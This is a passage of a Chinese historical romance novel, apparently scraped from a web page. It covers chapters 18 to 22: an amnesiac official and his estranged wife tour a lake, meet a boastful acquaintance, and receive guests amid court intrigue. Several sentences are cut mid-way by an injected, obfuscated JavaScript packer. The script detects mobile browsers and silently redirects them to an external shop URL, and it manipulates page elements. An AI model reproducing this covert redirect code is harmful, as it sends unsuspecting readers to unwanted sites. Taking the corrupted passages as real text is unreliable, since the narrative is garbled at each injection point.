他又笑。 他想,的确想让她完全原谅他需要用后面的实践来证明,但眼下身体的亲近能让他们迅速拉近关系,比如现在,再抱着她就不算什么了。 “过几天等我再好一些,我们去游阳陵湖如何?” 他这样一问,苏见微还真有些心动。 庄上安静,但日子久了便觉无趣,每日都是一样,一样的人,一样的事,连吃食都差不多是那几样。 而阳陵湖听说风光秀丽,就在这附近。 她疑虑道:“你伤得这样严重,还能游湖?” “就说再养几天,这几日我觉得精力比以前好多了,带顶轿子,累了坐轿子,应当没事。”他说。 苏见微并不反对,和他道:“那等你真好一点再说。” “好。”他一边说着,一边将脸贴着她头顶柔软的发丝。 万籁俱寂,两人呼吸纠缠,格外缱绻柔情。 再过几天,陆绍宁越发觉得伤大好,便又提起此事。 苏见微还是担心,趁老大夫来换药,问老大夫是不是能出行,陆绍宁在一旁道:“不是出行,只是在附近走走。” 老大夫听出他是自己想走动了,便说道:“大人的腿已好了,肩头的伤问题倒是不大,只是脑后伤还待完全愈合,走走是可以的,只是大人自己要注意,不可过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613124|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于劳累,也不可大动,怕扯动伤口。最好令家仆抬着轿子随侍左右,若身体受不住了,便坐轿子回来。” 陆绍宁看向苏见微:“听见了吗?可以出去。” 苏见微不出声了,待送走大夫,就问他:“你想哪日出去?” “明日可好?看这天色,明日也是晴天。” 反正天天也是清闲,苏见微道:“待会儿和小七说,她也没去游过湖。” 没成想晚上和小七说这事,她却不愿出去。 这几天一群孩子玩了个新游戏,叫捉鬼,大致就是猫捉老鼠,一队人跑,一队人追,小七跟着玩得不亦乐乎,相对来说,去看什么湖景就显得过于无聊。 苏见微有些无奈,问陆绍宁:“除了阳陵湖,还有别处可玩吗?” 陆绍宁道:“她不愿去就不去了,咱们俩去不行吗?” 小七在一旁道:“是的,我哪儿也不去。” 苏见微有些错愕,她很少……或者说几乎没有和他一起出游过。 她始终不放心和他走太近,怕将来要和离不好说,但到了这种时候,又难以狠下心拒绝。 在她沉默时,陆绍宁已经去和小七商量了,说爹娘明日出去,半天就能回来,让她自己在家由奶娘带着好好玩。 小七满口答应。 苏见微想着他们俩一个病人,一个孩子,若这么出去她照应不过来,还得带好多仆从,原本是散心,浩浩荡荡一群人也不好,最后就只好这么默认了,她与陆绍宁出去走走。 翌日一早两人出门,苏见微想着要行路,便穿了轻便的窄袖襦裙,随便挽髻插着轻巧的发簪,陆绍宁也着布衣,他要轻装简行,苏见微却不同意,坚持带了五名护卫在身旁。 陆绍宁笑道:“天子脚下,极少有人敢刺杀朝廷命官,我上次应是正好被有心之人盯上了。” “你也知道有有心之人盯着你,怎能不注意?”苏见微说。 这样一想,出去这一趟还真冒险。 陆绍宁道:“不可因噎废食,再说我现在什么都不记得,没有任何威胁,不会有人还来对付我的。” 苏见微无法说什么道理,因她对他之前的事一无所知,完全不能推测到底是什么人要杀他。 阳陵湖并不远,两人坐了一段轿子,走了一段就到了,湖并不大,但湖水清澈,三面环山,有一种山清水秀的美,微风将湖面吹得波光粼粼,他们过来这一片,竟长着大片的水草,绿色的叶子,开着淡紫的花,苏见微不禁惊叹,“真好看!” “该寻艘船来,再带两坛好酒,泛舟湖上。”陆绍宁说。 苏见微睇他:“出来走走就算了,还好酒,还泛舟湖上,你是不是以为自己已经好了?” 陆绍宁一笑,顺势就拉起她的手,苏见微忙往后看,发现护卫与莺歌几人都落了他们一段距离。 他知道她在想什么,笑道:“有什么好担心的。” 走到柳树下,风迎面吹来,看着缥碧的湖面,苏见微神往道:“突然好想弹琴。” 陆绍宁来了兴致,问她:“你琴呢,怎么没带过来?我记得你嫁妆里好似有琴的。” 苏见微略有落寞道:“那把琴啊,放在库房里,上次看琴弦断了,还没换。” 19.第 19 章 “怎会放在库房?这些东西常年不碰,容易坏吧?”他想了想,“我忘了之前的事,都没听过你弹琴。” 苏见微低笑:“你没忘也没听过。” “嗯?”他不解,那时见她带着琴,心知她大概是会弹的,想着得空听她弹一弹,只是新婚杂事多,有许多亲友要见,许多事要安置,母亲还总将她叫过去,晚上回来吧,他还猴急想寻欢,一天飞快就过去了,竟没向她提起。 但之后六年时间,怎么会没听过呢?这怎么都不应该吧。 她回道:“没过多久母亲就让我学着接手家里的事,我才有些头绪,又怀了小七,一边养胎,一边管些轻松的杂事,倒没空弹琴,加上我听闻姚姨娘善弹琴,而你也不太喜欢姚姨娘,就没去弹。” 再后来,她渐渐发现他对她冷淡,心里既失落又哀凄,也就没心情去弹琴了。 陆绍宁拉过她道:“你怎么这样傻,姨娘是姨娘,你是你,你的琴和她有什么关系?” 她低头不语。 他继续道:“等回去了,你将琴拿出来修好,弹给我听好不好?” 那好似是她想象中的琴瑟和鸣的生活,她心中浮起欢喜的感觉,点点头。 两人走了一会儿,正说歇一歇,却看见个小道观。 顺道去看,那观里只有四五个道士,供奉着三清天尊和玉皇大帝,苏见微想起上次说陆绍宁运气不好的事,便去一一拜了,又给了几两香油钱,替他和小七求个平安。 才拜完,陆绍宁拉了她去外面,说道:“这儿有个月老像,不然我们拜个月老?” 苏见微没什么兴趣:“月老是求姻缘的,我们又不要求姻缘。” “夫妻恩爱、百年好合不叫姻缘吗?成婚是姻,日后一辈子就是缘。”他说道。 苏见微看那月老像:“姻缘这样的事,全看那姻缘中的两人,求月老又有什么用?” “你刚才还向玉皇大帝求平安,怎么就不能向月老求姻缘?难不成你不想和我百年好合?”他反问。 苏见微叹息一声:“向来只有男人喜新厌旧、三心二意,女人谁又不愿夫妻和睦,白头到老?” 陆绍宁觉得她在影射自己,看向月老,双手合十,眉眼肃穆道:“求月老赐我二人夫妻恩爱,白头偕老,一生一世永不相负。我陆绍宁愿向月老起誓,若喜新厌旧、三心二意,有负妻子,便让我天打雷劈,永堕地……” 他话未完,苏见微连忙将他唇捂住:“你在说什么,许愿就许愿,怎么又这样发毒誓了?神明在此,怎可信口开河?” 陆绍宁得意道:“发誓就是发誓,怎么叫信口开河?我就是认真的。” “你……”苏见微无奈,他是真不知道六年间的情形,她虽怨他变心,却也没想他遭天打雷劈,只叹二人无缘,能好聚好散就行了。 “将来的事,谁又说得准?”她道。 他却看向她:“微微你不敢发誓么?” 苏见微不知道两人能走到什么时候,也早就同床异梦、三心二意了,只好说道:“为这种说不准的事发誓,未免太过轻狂了。” 陆绍宁抿起唇,有些不高兴,冷着脸道:“如何轻狂呢?我知道人生漫长,确实许多事说不准,可再说不准,怎样抉择全在自己,而自己的心,不是前程,不是寿命,与他人无干,与天无干,是唯一可以自己决定的东西,只要自己愿意,为何不能一心一意?” 苏见微已经听出些他对自己的质疑和失望,他好似有一种偏执,认定夫妻就一定要一心一意,不可相负,这让她很意外,她原本以为他一开始就是随便成婚,随便和她恩爱几日,又随便失了兴致,看上外面的欢愉。 面对他的不悦,她妥协,到月老面前道:“愿我与夫君夫妻恩爱,白头偕老,若夫君不相负,我必不相负。” 如此说着,心中却想:“月老在上,我二人的情形月老想必心知肚明,今日他失了记忆,语出轻狂,月老不要与他计较,我只愿到时能顺其自然,诸人皆能得偿所愿。” 她说完,陆绍宁总算脸上好看了些,却似乎仍觉得她有所保留,沉默着过来拉住她,两人往前几步,俯瞰下面湖景。 就在此时,却远远看见一行马车往这边而来,两人看了一会儿,待马车越来越近,发现上面挂着香球,还有“周”字灯笼。 苏见微疑惑道:“莫非是周家二夫人?” 车马再走近,苏见微确定道:“是城北周家,太常寺少卿家的二少夫人。” 陆绍宁应了一声,他虽和这位二公子不熟悉,但他们家父亲太常寺少卿却是知道的。 他问:“是你熟识的?” “嗯……算是。”苏见微说。 说话间那车马已经到了,苏见微与陆绍宁缓步下了台阶,就见到周二夫人林芳菲笑吟吟从马车上下来,快步朝她走来道:“原本到西郊来,我就在想说能不能见到你,早就听说你们到西郊庄子上来养病,到底是路程长,时间紧,怕赶不回去,没去你们庄子上问候,不成想在这儿见到了!” 苏见微笑着拉起她手:“那便是老天给的缘分了,正好今日我与夫君出来走走。” 林芳菲给陆绍宁浅浅行了一礼,陆绍宁回礼,不出声,安静待在一旁,落后了两人几步。 两人往湖边走,苏见微问林芳菲:“大老远的,你到西郊来做什么?” “还愿呀,去普济寺,不是为我家二小子吗,当初和你们说过的,来许愿第二个月就怀了,原本早该还愿的,可又是孕期,又是月子,那小子也不比你们家姑娘那么乖,皮得狠,从小就闹腾,可把我折腾坏了,这才拖到了现在,也不知佛祖会不会怪罪。” 林芳菲一边说着,一边理了理脖子上璀璨的红宝石项链,那宝石足有指头大,链子是金的,闪得人眼花,她心情好,眉眼带笑,话便一句接一句,很是高兴的模样。 苏见微笑着回道:“只要你将佛祖放在心上,佛祖又怎会怪罪?孩子也是你求来的,求了可不能嫌人皮。” 林芳菲带着喜悦道:“那是,男孩子哪里有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622312|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不皮的?” 说完又问:“你们在这里可好?陆大人恢复得如何?什么时候回城呢?” “恢复得不错,回城也是看他,我反正是乐得清闲,他愿待多久就待多久。” 林芳菲回道:“你就行,静得下来,我不行,你看你这身衣服是前年咱们一起找天女坊裁了布料做的吧?我早在去年,去逛赵家花园,给弄上了草印子,便不能穿了,只好新做,你这还挺好呢。 “怪我闲不住,没事就爱找些事做,上个月我听说赵四金铺新来了一批宝石,我就专程去看了看款,正好看中个红宝石项链,让我们家替我买,他还心疼钱呢,哼,那我可不管,好歹给我买了,工期便等了一个多月,好在那宝石成色好,他们家手艺也好,做出来真不错。” 她一边说着,一边将那红宝石项链给苏见微看。 苏见微由衷夸道:“真不错,把你衬得白,又贵气,你眼光向来好,这项链你是真买对了。” 林芳菲更高兴,摸了摸她头上的珍珠发簪,说道:“你呀,就是太贤惠了,你不花你家男人的钱,自然有人替你花,省也不定能省到你姑娘身上呀!” 苏见微笑道:“出来走走,就穿得简省轻便,再说我对首饰也没那么在意。” “怎能不在意?谁能不在意?那不是咱们的脸面么?”林芳菲道。 两人又闲聊了一会儿,林芳菲还得在天黑前赶回去,便恋恋不舍地走了,约她回城后一起赏菊喝茶。 待林芳菲离开,陆绍宁过来道:“我怎么听着,她好似在炫耀?她是这样的人,还是真在炫耀?” 苏见微简单明了道:“在炫耀。” 陆绍宁诧异:“那周二公子很厉害么?做了几品官?” 他自认在京城这一批同龄人里不会有几人比自己官大,因为当初考上进士的就没几人,他也自认身份外形谈吐都不差,这不就能给自家夫人最大的脸面么?怎么还会有人胆敢炫耀到他夫人面前来?有什么好炫耀的?一个红宝石项链? 苏见微回道:“好像是家里走了门路,捐了个司农寺苑监。” 陆绍宁非常不屑地轻嗤一声,对于堂堂正正考恩科,清清白白由中书门下盖章封的官来说,那种用钱捐来的官自然不入流,都不稀得去比。 苏见微见他如此,忍不住笑。 他问:“那她为何那样炫耀?哪里来的底气?”这是他不解的,真说什么首饰,难道他陆家买不起? 苏见微解释道:“她在我之后一年成婚,生了两个儿子。” “两个儿子就了不起了么?我们小七哪里不如人了?”发现女儿被轻视,陆绍宁十分不悦,心想哪天倒要看看那两个儿子是什么模样! 再说难道他们就没儿子了吗? 苏见微不语,其实还有一点,就是林芳菲的夫君听她话,陆绍宁的确比她夫君能干,但林芳菲很清楚苏见微管不着陆绍宁的事,加上周二公子是个闲人,平时会带着林芳菲四处游玩,这是苏见微比不了的,便成了她炫耀的点。 20.第 20 章 见陆绍宁还在气恼,苏见微劝道:“这没什么,她炫耀是因她自己心虚,觉得不如我,所以想显得处处比我好,我看破了,不说破就好了,她也没别的心思,就是说说她两个儿子,说说她夫君又给她买了什么新首饰,添了什么新衣裳,倒也简单。” “你没有首饰么?我没给你买?”陆绍宁问。 他是真心发问,因为他不知道。 苏见微不想去说那么多,他没给她买过,她也对衣服首饰并不热衷,只是解释道:“不用在意她的话,我有首饰,只是首饰华贵,盘头就要盘好久,所配衣服也不方便。还有,你是不是不知道她的身份?” “什么身份?”陆绍宁问:“不是周家老二的夫人吗?” “那她娘家呢?” 陆绍宁摇头:“她娘家在京城,我认识?” “不在京城,但在附近,通州的林家。” 陆绍宁一怔,回忆片刻,想了起来。 苏见微笑道:“你想起来了?你们说过亲。” 陆绍宁轻咳一声。 这事他是记得的,他原先订婚的是苏家长房的次女,两人大概十三、四岁订婚,他十八,那苏二姑娘十七时,却生了重病去了,这之后有人来他家说过亲,但陆家既不着急,也不想未婚妻才过世就另订亲,便没怎么理会,当然还有一个原因是没遇着看上的,便都推了。 而林家就在其中。当初是族中二婶牵线,纠缠了一段时间,他没管,都是父母在安排,似乎也说要找机会双方见见,说是林家正好要来京城省亲,是个好时候,只是这时候还没到,苏家将养在睦州的二房长女接过来了,说是秦晋之好不可断,不如看看苏三姑娘。 他那时才中进士,春风得意,苏家如此抓着他不放,他沾沾自喜,也自视甚高,虽说与前任未婚妻没见几次,但娶人家妹妹也不太好,好似娶小姨子似的,便不太愿意。 但当时苏贵妃可是风头正盛,三皇子聪慧,皇上十分喜爱,隐隐有废储另立的意思,父亲觉得苏家既这么看重,不可轻狂。 于是他便去了,然后就看到了那位苏家三姑娘。 怎么说呢……他没想到这凑过来的姑娘却比原本的苏二姑娘要好看得多,她竟还对他一副不屑模样,一边风轻云淡表示不屑,一边又悄悄红脸,怎样看都可爱。 那时候也不管什么苏家了,也顾不上什么小姨子了,就同意了。 他两家一同意,自然就没林家什么事了,这事说不上不对,但到底让林家有些没面子,只是当时的他哪里会顾得上这些。 原来这就是那位林家姑娘,原来她后来嫁到了周家,真险,还好没娶那位,要不然便是生了个儿子自鸣得意,天天找他要首饰去外面炫耀,他八成家都不愿回。 知道这始末,陆绍宁觉得更加不能让妻子在林氏面前丢了面子,便拉了她手道:“待回城时我们也去做个项链,或是簪子步摇,最好直接做一套,不管是宝石还是金子或是别的什么琉璃翡翠,反正要比她贵重,你也去她面前戴。” 苏见微抿唇笑道:“你怎么这样幼稚,她比就让她比好了,这有什么值得比的?” “怎么不值得,为何要被人取笑呢?” “她取笑是她肤浅,我若和她一样,不是和她一样肤浅了?” “也不用付出什么,买个首饰而已,为什么一定要被人取笑?”他说完,下定论道:“好了,你不用说了,就这样定了。她有句话倒说对了,这是你的脸面,不只是你的脸面,还是我的脸面,我夫人被人笑寒酸,不是笑我没本事么?” 苏见微笑着评价:“你的本事谁敢小瞧?你还这样在意,小孩子似的。” “那自是比不上夫人淡泊名利与世无争,我就是在意。”陆绍宁坦然承认。 苏见微不和他争了,随便他去。 以前也不知道他这样较真呢? 两人玩了半天,回到庄子上,已是下午。 庄子上仆人告诉两人,有人送了帖子来,还在庄子上等候。 陆绍宁一看,却是卢子越,说是他休养这么久,他心中记挂,想过几日来看看。 他看着那拜帖,同苏见微道:“或许,我与卢子越的交情从未变过?他是当真担心我?” 苏见微淡声道:“看上去是不错的。” “我没同你说过吗?”他问。大概是觉得谁是真心,谁是假意,做妻子的理该清楚。 苏见微回道:“没说过,因为他常带你去青楼。” 这句话让陆绍宁噎住了,轻咳一声,心虚地转过头去。 他不明白自己怎么就开始上青楼了,但她这样说,也有可能,因为卢子越还真有些风流,他们一同读书他就悄悄留宿烟花地,陆绍宁为之叹息,觉得他要将心思用在读书上不至于考不上。 苏见微见他不说话了,又问:“为什么你会担心六年后你们关系不再那么好呢?” 陆绍宁想了想,大概是一种直觉,他回道:“他这个人,人虽没有坏心,但过于沉迷酒色,又头脑简单,容易遭人利用,我总觉得我不会和他成为知己好友。 苏见微看向他,想了片刻,觉得陆绍宁好像是个十分清醒的人,他没有那么多同情心,也不那么淡泊名利,在他眼里,也许有对自己有利的人,可交;也许有能知己的人,可交;而像卢子越那种,确实没太多城府,也许只是他的酒肉朋友。 不管怎么说,陆绍宁一边说着,一边去回拜帖,他左肩上的伤才好一点,苏见微怕他不好出力,过来替他磨墨。 陆绍宁却得寸进尺:“要不然你替我写吧?” “你的帖子,怎么要我写?卢子越认识你的笔迹。”她说。 “让我夫人写怎么了?我喜欢看你的字,和印刻字似的,格外有意思。” 苏见微却不拿笔,老实回道:“我不想写。” “为什么呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627216|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不喜欢他,不想给他回帖。” 陆绍宁没话了,一边老实拿起笔,一边拉她手道:“是我错,以后我绝不受他影响。” 苏见微不出声,后面是什么情况,谁又能说得定? 陆绍宁自己写了回帖,言辞恳切,称扫榻以待,让他随时过来,由仆从带回去了。 入夜,上了床,他又贴过来,将手往她衣服里探。 她拦他道:“今日不是累了么?早点睡吧。” “腿累,心却躁动。”他说。 苏见微笑起来,和他道:“那也只能等你好了再说。” “我觉得我已经好了。” “你在胡说。” 他又得寸进尺,手继续往下。 苏见微立刻蜷住身体,嗔声道:“你别乱来,再说你躁动,我又不躁动,你折腾我做什么?” “明知是饮鸩止渴,却忍不住。”见她动情,在他怀中软成春泥,他便能有些满足,却又更渴望。 他一边亲吻她的脸,一边低声道:“要不然,你帮帮我。” 说着握住她的手往自己这边来。 她手如触到火一样往回收,连忙道:“我不会……” “少骗我,夫人成婚六年,怎可能不会?”他说着又捏住她的手。 她没能强硬地拒绝。 断情绝爱、清心寡欲只是她的错觉,两人每日同眠共枕,他喜欢往她身边凑,喜欢撩拨她,而她受不住这撩拨,一开始总是拒绝,却没久就溃不成军,便总被他取笑口是心非。 时间长了,她就不挣扎了。 况且她不能不承认,自己喜欢他对自己的在意,曾经那样严肃冷漠的人,如今发腻地叫她小名,当她是最信任的人,珍视着她与女儿,与她做那样亲近的事,给她最隐秘的欢愉,她渴慕已久,抗拒不了。 或许他再也恢复不了记忆呢? 或许就算恢复记忆了,两人情分又不同呢? 这样想的次数越来越多,她便越来越沉溺在这温情里。 如此被动,但甘之如饴。 手心烫,她的脸也烫。 他紧紧抱着她,一阵一阵呼吸,呢喃道:“娇娇……” 后来,她起身燃了灯,去浴房的水桶里洗手。 再次躺回床上,却听他道:“也不是完全不行,要不然明日你在上面?” “哎呀,你怎么没完没了,说了等你好了再说。”她嗔声道。 陆绍宁一副委屈语气:“你对我这样没耐心。” “我手都酸了你还说我没耐心!”她微恼。 他便笑着抱她:“没有,我就是……快憋不住了。” 她回他:“我可不想半夜让人去叫大夫,大夫问是怎么弄的。” 陆绍宁也知道不可大意,只好叹声气抱住她,与她紧紧贴靠,挫败道:“明日我要喝菊花茶,下火。” 苏见微笑起来。 21.第 21 章 过两日,大夫又来换药,告诉他恢复得不错,再有半个月,起居日常大概都无事了。 自进入八月,天也渐凉,如此算来,也将要回京了。 到第五日,卢子越来了,来探望他,两人坐在前面亭子里聊了好久,卢子越除了看他,还是过来告诉他,他的案子虽没具体查到真凶,但他当时所查的案子确实和皇上有关,那批铁矿大部分做了兵器,而其中主谋正是国丈,也就是皇后的父亲,国丈因此而入狱,皇后也已遭废黜,就连皇上也有被废的可能,如今京城又是人人自危。 所以,暗中对陆绍宁下手的真凶已经不重要了,重要的是那最大可能是皇上所派,就为阻止陆绍宁查到真相。 陆绍宁不知这案子具体是怎么查的,也不知道伤自己的是不是皇上派的人,但他非常清楚,这恐怕就是太后要的结果,如历朝受猜忌的太子一样,就算皇上是太后的亲儿子,也一样是个威胁。 陆绍宁并不知道自己在这政治旋涡里扮演着什么角色,也不知道将来回京太后会怎么安排自己,而卢子越,他本身是个简单的人,过来也不过是告诉他这些消息。 陆绍宁与他在庄子上吃了顿野味,留他住了一夜,第二日他才回去。 他走后,陆绍宁和苏见微说起京中的消息,苏见微听着,发现卢子越也没和他提起那梁蓁的事,大概碍于她就在一旁,也大概在他们男人心里,一个女人根本算不上事,哪有京城时局重要? 陆绍宁道:“大夫说下次过来就可拆了头上棉纱吧?我想,也许该考虑回去的事了。” 最近他状态是好了许多,大概人的精力一恢复,便开始想开疆拓土,尤其是知晓朝中局势变化,他不再安心待在庄子上了,怕因为自己不在而错过什么。 “回去之后你会如何?支持太后废帝么?再立四皇子为帝?或是五皇子?”她问。 先帝有五子,次子与四子为皇后所出,三皇子为当年苏贵妃之子,因病夭折,皇长子出身不好,当初立储君便没有他的份,后来太后执政,皇长子因涉嫌谋逆而被处死;次子是太子,也就是现今的皇上,虽是亲生,却也遭了太后猜疑,将被废黜;余下皇四子与皇五子,皇四子为避祸,早早就与僧侣为伍,俨然成了居士,每日打坐念经,抄录佛经,一副要出家的模样。 皇五子由太后养大,二人有母子情谊,似乎也有望做皇帝,可他如今不过十二岁,太小了些。 但也许正是如此,太后却更愿意让这位养子登基呢? 陆绍宁叹息一声:“我哪里知道,只能暂且得过且过,做傻子了。” 只是这样,八成要被调职了,要么,唯太后之命马首是瞻吗? 他也头疼。 “有一个人,也许是你愿意相信的。”苏见微说。 “谁?” “给事中,谢桢。” 陆绍宁有些疑惑:“我和他熟吗?” 在六年前两人是不熟的,谢桢是早他两届的进士,在吏部任职,因两人同在丽正书院读书,又同样是翰林院士、中书舍人裴公的学生,所以偶有见面,他目前只觉得此人或许可交。 苏见微说道:“大概是五年前,发生了一件事,你告发了中书舍人裴格,说他罗织罪名,意欲构陷皇后,裴格因此获罪遭流放,病死在流放途中。” 陆绍宁吃了一惊,裴格曾在丽正书院授课,又是他那一年省试的监考,他与裴格可是有师生之名! 他告发了自己的老师? 苏见微继续道:“此事之后有许多流言蜚语,说你欺师灭祖、恩将仇报,那时正好小七做周岁,家中送出去的喜帖竟没几人过来,但谢桢却来了,他是你们丽正书院年兄,也颇有威信,有他来,那些流言蜚语就渐渐散了。 “也是在此之后,苏贵妃薨逝,先帝重病。皇后辅政后,便马上提拔你进了大理寺。后来我知道你们有来往,却不多,但在前年,谢桢替吏部主事吴松等人辩论,驳斥郭贤,此事惹怒郭贤,随后的吴王案谢桢正好受牵连,大理寺也参与审理,原本谢桢是凶多吉少的,最终却只是降职,我想,大约是你从中相助。” 听妻子的说法,自己与谢桢倒有些像君子相惜的意味,他愿意见见谢桢。 “若是请他来庄子上做客,他愿意来么?”陆绍宁问。 苏见微道:“你试试就知道了,与他见了面,说上几句话,你大致也能判断他是什么样的人,看是否能对你有所帮助。” 陆绍宁不再迟疑,马上写了请帖。 谢桢给他回了帖,答应得爽快,言称不日前来探望他。 苏见微想着有客人要来,开始提前准备菜单,人家自城里来,倒也不必专程去城里买鱼肉,不如就吃庄子上自种的菜或是一些野味倒更让人欢喜。 她去挑干货的功夫,却见到屋里来了人,一个五十来岁,一个四十来岁,其中一人正与陆绍宁隔桌对坐,另一人围在一旁,桌上放着纸张,不知在商谈着什么。 见她进来,那坐着的人马上起身向她行礼,恭敬道:“见过夫人。” 苏见微看向陆绍宁,陆绍宁解释道:“千金堂的掌柜和大师傅。” 千金堂苏见微知道,是城中老字号首饰铺,以金饰、宝石闻名,小七周岁时她曾给小七打过一个金项圈,金子足称,手艺别致,她很满意,所以对这家金铺印象不错。 苏见微问:“你这是……” 陆绍宁道:“给你打个首饰。” 见她要靠近,便将桌上那纸遮住道:“你就别看了,待做好了送你,给你个惊喜。” 苏见微笑起来:“我说我不要,你还要去做。” “你若不要,到时候送给小七做嫁妆。”陆绍宁说。 人家掌柜都大老远来了,苏见微自然不会在这时候纠缠说不要,只好由他去,自己也没在房中久待,转一圈就出去了。 足足半个时辰后掌柜与那大师傅才离开,不肯在庄子上用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632102|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭,苏见微便让人给了现做的南瓜馍,让他们在路上吃。 回来问陆绍宁:“你让他们做了什么?怎么还有图纸?人家大老远过来,一般的小件不会走这一趟吧?你是不是弄的什么大件?” 她诸多问题,陆绍宁只是笑,神秘道:“无可奉告。” 苏见微便不问了,交待道:“你不是说怕没办法官复原职吗,那俸禄便有可能不如以前,开支得减省一些。” 陆绍宁叹息:“我还好好的呢,夫人就已经在打算着节衣缩食了,惭愧。” 她的模样,让人有一种无论他怎样仁途不顺、前途渺茫,或是贫困潦倒,她都不会慌,她会提前算好收支,会量入为出,好像金钱的多少不是什么严重的问题,锦衣玉食或粗茶淡饭只是选择问题,于她都是一样。 “贤惠”这个词,在他脑中有了实在的形象,一直被一种无形力量追迫着要青云直上的他,觉得好似不必那么紧绷慌张。 中秋之后,谢桢到了。 却带来个意外之客,孟思远。 听闻谢桢到来,陆绍宁与苏见微出门来迎,没成想见到的却是两人。 谢桢大约三十出头,也是名门世家,一身纯白素衣,面目舒朗,自有一股洒脱不羁的气度;孟思远眉目清秀,肤色白皙而身形修长,有一种江南水乡读书人的斯文,这两人站在一起,很让人意外。 苏见微对孟思远熟悉,前不久还见过,但他在陆家别院出现,还真是第一次。 她十分纳闷。 谢桢很快给二人解惑:“昨日我与展平在京城畅春亭偶遇,一见如故,巧的是他自建德来,我却要到建德去,我便说起许老先生,我说我一向仰慕许峤野老先生的文采,不知老先生是否无恙,展平说老先生是他老师,先生无恙,我便说正巧,我明日要去拜访一位友人,他家夫人正是老先生外孙女;他说他知道,便是陆夫人,他与陆夫人自小相识,情似兄妹,我一听如此巧合,便问他是否得空,与他一道过来了。” 许峤野正是苏见微外公的字。 孟思远道:“心知冒昧,却想到自苏妹妹出嫁,便极少相见,再听闻妹婿受伤,也该来探望,便忍不住过来了。” 陆绍宁笑道:“展平兄言重了,这样亲近的关系,该是我半个舅兄,早知展平兄来京城,我该亲往拜会,竟还让展平兄寻过来,实在惭愧。” 苏见微也忍不住道:“哥哥能来我自然欢喜,我以为你早回了睦州,我也想问我外公外婆如何呢。” 她与孟思远从未以兄妹相称,甚至当初外公是有意让两人婚配的,自然不会弄个兄妹名分出来,她知道此时他这样说大概是为避嫌,所以也称了他哥哥。 又马上邀两人进屋:“谢先生与哥哥快进屋,我给你们倒茶,庄子上自种的明前茶,不是名茶,却胜在新鲜。” 谢桢说道:“实不相瞒,我就是冲着这庄子上的清茶浊酒来的。”一边说着,几人在欢笑中进了屋。 22.第 22 章 苏见微一边给几人上茶,一边问:“谢先生不是在任给事中,为何说要去建德?告了假去游玩么?” 建德便是睦州州府所在县城,也是她外公所在的地方。 谢桢摇摇头:“惭愧,不会做官,官也就越做越小了,只等吏部的告身敇牒下来,就去建德做县令。” 建德县令是七品官,给事中是正五品,显然是降了,还连降四级,这是极大的贬斥了。 陆绍宁很快问:“为何?” 谢桢却当玩笑似的,浑不在意地回道:“说起来又巧了,此事还与承安有关。” “嗯?”陆绍宁很快就想起卢子越说的话。 谢桢说道:“承安受伤,凶手虽未查出来,却明确指向某方,而承安所查的私矿案又牵连众多,朝中有人说皇上庸碌,不堪为国君,不如废黜,另立明君,我又忍不住手痒,上书替皇上申辩了,言辞有些激动,就被贬了。” 陆绍宁轻轻摇头,回道:“看上去贤兄是明知不可为而为之,这又是何必?” 谢桢无所谓道:“我就是想让人知道,不是每人都见风使舵或是事不关己,总有不怕死的、多嘴的人。” 说完补充:“当然我不是说你。” 陆绍宁大约知道谢桢的性子了,笑笑,回道:“那是自然,朝中小人那么多,我纵使有些事不关己,还轮不上被贤兄说。” 很明显,谢桢是皇帝党,他反对太后的专权,以及大肆诛杀宗族诸王。 自己的立场,不管是不是太后的死忠,至少看上去是太后的亲信,但他既然能帮谢桢,也能与谢桢有交情,证明两人并没有因为立场不同而水火不容,或许谢桢能理解他,他也能理解谢桢。 他的确理解谢桢,甚至敬佩,身在官场,却不肯置身事外,明之不可为而为之,这不正是读书人该有的风骨么? 苏见微备好了茶水与点心,让他们聊官场的事,这也正是陆绍宁的目的,自己便出去了,不再打扰,让丫鬟候在门外。 过了好一会儿,小七从外面回来了,苏见微拉住她道:“先别进去,爹爹和朋友在里面谈事情,你和娘先在外面玩一会儿,和娘一起去摘扁豆怎么样?” 